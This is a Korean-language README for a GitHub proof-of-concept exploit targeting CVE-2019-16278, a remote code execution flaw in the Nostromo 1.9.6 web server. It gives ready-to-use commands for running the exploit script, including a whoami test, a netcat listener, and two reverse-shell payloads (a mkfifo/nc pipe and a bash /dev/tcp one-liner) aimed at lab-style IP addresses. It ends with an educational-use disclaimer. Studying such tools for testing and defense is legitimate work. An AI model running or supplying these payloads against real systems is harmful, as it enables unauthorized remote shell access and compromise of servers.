CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC

저장소: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git

📜 설명

이 저장소에는 Nostromo 1.9.6(웹 서버)의 취약점인 CVE-2019-16278에 대한 Python 익스플로잇이 포함되어 있습니다. 이 취약점은 디렉터리 트래버설을 악용하여 대상 시스템에서 임의의 명령을 실행함으로써 **원격 코드 실행(RCE)**을 가능하게 합니다.

🚀 기능

• 취약한 대상에서 사용자 지정 셸 명령을 실행합니다.
• 리버스 셸 페이로드를 지원합니다.
• 대상으로부터 수신할 응답의 크기를 사용자 지정할 수 있습니다.

🛠️ 요구 사항

• Python 3.x
• Nostromo 1.9.6이 실행 중인 시스템(취약한 대상).
• 리버스 셸을 잡기 위한 Netcat(nc).

⚙️ 사용법

1단계: 저장소 클론

git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

2단계: 익스플로잇 실행

python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]

인자:

🧑‍💻 예제

예제 1: 대상에서 whoami 실행

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"

예제 2: Netcat을 사용한 리버스 셸

1단계: 공격 머신에서 Netcat 리스너를 시작합니다:

nc -lvnp 443

2단계: 리버스 셸 페이로드로 익스플로잇을 실행합니다:

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"

예제 3: /dev/tcp를 사용한 리버스 셸

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

🔍 취약점 세부 정보

• CVE: CVE-2019-16278
• 영향을 받는 소프트웨어: Nostromo 1.9.6 웹 서버
• 유형: 디렉터리 트래버설 -> 원격 코드 실행

⚠️ 면책 조항

이 도구는 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에서 사용하지 마십시오. 시스템에 대한 무단 액세스는 불법입니다. 책임 있게 사용하십시오.